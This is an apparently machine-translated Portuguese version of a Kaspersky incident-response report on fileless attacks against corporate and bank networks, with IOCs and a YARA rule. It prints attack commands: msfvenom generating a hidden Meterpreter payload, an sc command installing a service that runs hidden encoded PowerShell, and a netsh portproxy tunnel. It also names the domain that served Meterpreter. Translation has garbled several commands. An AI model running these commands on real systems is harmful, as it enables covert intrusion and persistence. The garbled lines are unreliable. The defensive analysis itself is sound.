Ataques sem arquivos contra redes corporativas

Conteúdo

Durante a resposta a incidentes, uma equipe de especialistas em segurança precisa seguir os artefatos que os invasores deixaram na rede. Os artefatos são armazenados em logs, memórias e discos rígidos. Infelizmente, cada uma dessas mídias de armazenamento tem um prazo limitado quando os dados necessários estão disponíveis. Uma reinicialização de um computador atacado tornará a aquisição de memória inútil. Vários meses após um ataque, a análise dos registros torna-se uma aposta porque eles são girados com o tempo. Os discos rígidos armazenam muitos dados necessários e, dependendo de sua atividade, os especialistas forenses podem extrair dados até um ano após um incidente. É por isso que os invasores estão usando técnicas anti-forenses (ou simplesmente SDELETE) e malwares baseados em memória para ocultar sua atividade durante a aquisição de dados. Um bom exemplo da implementação dessas técnicas é o Duqu2. Depois de soltar no disco rígido e iniciar seu pacote MSI malicioso, ele remove o pacote do disco rígido com renomeação de arquivos e deixa parte de si mesmo na memória com uma carga útil. É por isso que a análise forense de memória é fundamental para a análise de malware e suas funções. Outra parte importante de um ataque são os túneis que serão instalados na rede por invasores. Cibercriminosos (como Carbanak ou GCMAN) podem usar o PLINK para isso. Duqu2 usou um driver especial para isso. Agora você pode entender por que ficamos muito empolgados e impressionados quando, durante uma resposta a um incidente, descobrimos que malware e encapsulamento baseados em memória foram implementados por invasores usando utilitários padrão do Windows como “SC” e “NETSH”.

Descrição

Essa ameaça foi descoberta originalmente pela equipe de segurança de um banco, depois de detectar o código Meterpreter dentro da memória física de um controlador de domínio (DC). Os nomes de detecção de produtos da Kaspersky Lab para esse tipo de ameaça são MEM: Trojan.Win32.Cometer e MEM: Trojan.Win32.Metasploit. A Kaspersky Lab participou da análise forense depois que esse ataque foi detectado, descobrindo o uso de scripts do PowerShell no registro do Windows. Além disso, foi descoberto que o utilitário NETSH é usado para encapsular o tráfego do host da vítima até o C2 do invasor.

Sabemos que o framework Metasploit foi usado para gerar scripts como o seguinte:

s1

Esse script aloca memória, resolve WinAPIs e faz o download do utilitário Meterpreter diretamente para a RAM. Esses tipos de scripts podem ser gerados usando o utilitário Metasploit Msfvenom com as seguintes opções de linha de comando:

msfvenom -p windows / meterpreter / bind_hidden_tcp AHOST = 10.10.1.11 -f psh-cmd

Após a geração bem-sucedida de um script, os invasores usaram o utilitário SC para instalar um serviço mal-intencionado (que executará o script anterior) no host de destino. Isso pode ser feito, por exemplo, usando o seguinte comando:

sc \ target_name create ATITscUA binpath = “C: Windowssystem32cmd.exe / b / c iniciar / b / min powershell.exe -nop -w oculto e aQBmACgAWwBJAG4AdABQAHQA…” start = manual

A próxima etapa após a instalação do serviço malicioso seria configurar túneis para acessar a máquina infectada a partir de hosts remotos, por exemplo, usando o seguinte comando:

netsh interface portproxy adicionar v4tov4 listenport = 4444 connectaddress = 10.10.1.12 connectport = 8080 listenaddress = 0.0.0.0

Isso resultaria em todo o tráfego de rede de 10.10.1.11:4444 sendo encaminhado para 10.10.1.12:8080. Essa técnica de configuração de túneis de proxy fornecerá aos invasores a capacidade de controlar qualquer host infectado do PowerShell de hosts de Internet remotos.

O uso dos utilitários “SC” e “NETSH” requer privilégios de administrador no host local e remoto. O uso de scripts do PowerShell mal-intencionados também requer alterações de políticas de escalonamento e execução de privilégios. Para conseguir isso, os invasores usavam credenciais de contas de serviço com privilégios administrativos (por exemplo, backup, serviço para agendador de tarefas remotas, etc.) .

m2

 

Características

A análise de despejos de memória e registros do Windows de máquinas afetadas nos permitiu restaurar o Meterpreter e o Mimikatz. Essas ferramentas foram usadas para coletar senhas de administradores de sistemas e para a administração remota de hosts infectados.

Para obter a carga útil do PowerShell usada pelos invasores dos despejos de memória, usamos os seguintes comandos BASH:

cat mal_powershell.ps1_4 | cut -f12 -d ”” | base64 -di | corte -f8 -d ’| base64 -di | zcat – | cut -f2 -d (| corte -f2 -d | | menos | grep / | base64 -di | hd

Resultando na seguinte carga:

 m10

Parte de um código responsável por baixar Meterpreter de “adobeupdates.sytes [.] Net”


Vítimas

Usando o Kaspersky Security Network, encontramos mais de 100 redes corporativas infectadas por scripts mal-intencionados do PowerShell no Registro. Estes são detectados como Trojan.Multi.GenAutorunReg.c e HEUR: Trojan.Multi.Powecod.a. A tabela abaixo mostra o número de infecções por país.


m4

No entanto, não podemos confirmar que todos eles foram infectados pelo mesmo atacante.

Atribuição

Durante nossa análise do banco afetado, soubemos que os invasores haviam usado vários domínios e domínios de terceiro nível nos ccTLDs .GA, .ML e .CF. O truque de usar esses domínios é que eles são informações WHOIS livres e ausentes após a expiração do domínio. Como os invasores usaram a estrutura Metasploit, utilitários padrão do Windows e domínios desconhecidos sem informações WHOIS, isso torna a atribuição quase impossível. Os grupos mais próximos com os mesmos TTPs são GCMAN e Carbanak.

Apêndice I – Indicadores de Compromisso

Para localizar o host usado por um invasor usando a técnica descrita para conexões remotas e coleta de senha, os seguintes caminhos no registro do Windows devem ser analisados:

HKLMSYSTEMControlSet001services – o caminho será modificado depois de usar o utilitário SC
HKLMSYSTEMControlSet001servicesPortProxyv4tov4tcp – o caminho será modificado depois de usar o utilitário NETSH
No espaço não alocado no registro do Windows, os seguintes artefatos podem ser encontrados:

powershell.exe -nop -w oculto -e
10.10.1.12/8080
10.10.1.11/4444

Por favor, note que esses IPs são retirados do caso de IR em que participamos, portanto, pode haver qualquer outro IP usado por um atacante eventual. Esses artefatos indicam o uso de scripts do PowerShell como um serviço mal-intencionado e o uso do utilitário NETSH para construir túneis.

Vereditos:

MEM: Trojan.Win32.Cometer
MEM: Trojan.Win32.Metasploit
Trojan.Multi.GenAutorunReg.c
HEUR: Trojan.Multi.Powecod

 

Apêndice II – Regras de Yara

1
2
3
4
5
6
7
8
   rulemsf_or_tunnel_in_registry
   {
   strings:
   $port_number_in_registry=“/4444”
   $hidden_powershell_in_registry=“powershell.exe -nop -w                       hidden”wide    
   condition:
   uint32(0)==0x66676572andany of them
  }

 

Fonte: KASPERSKY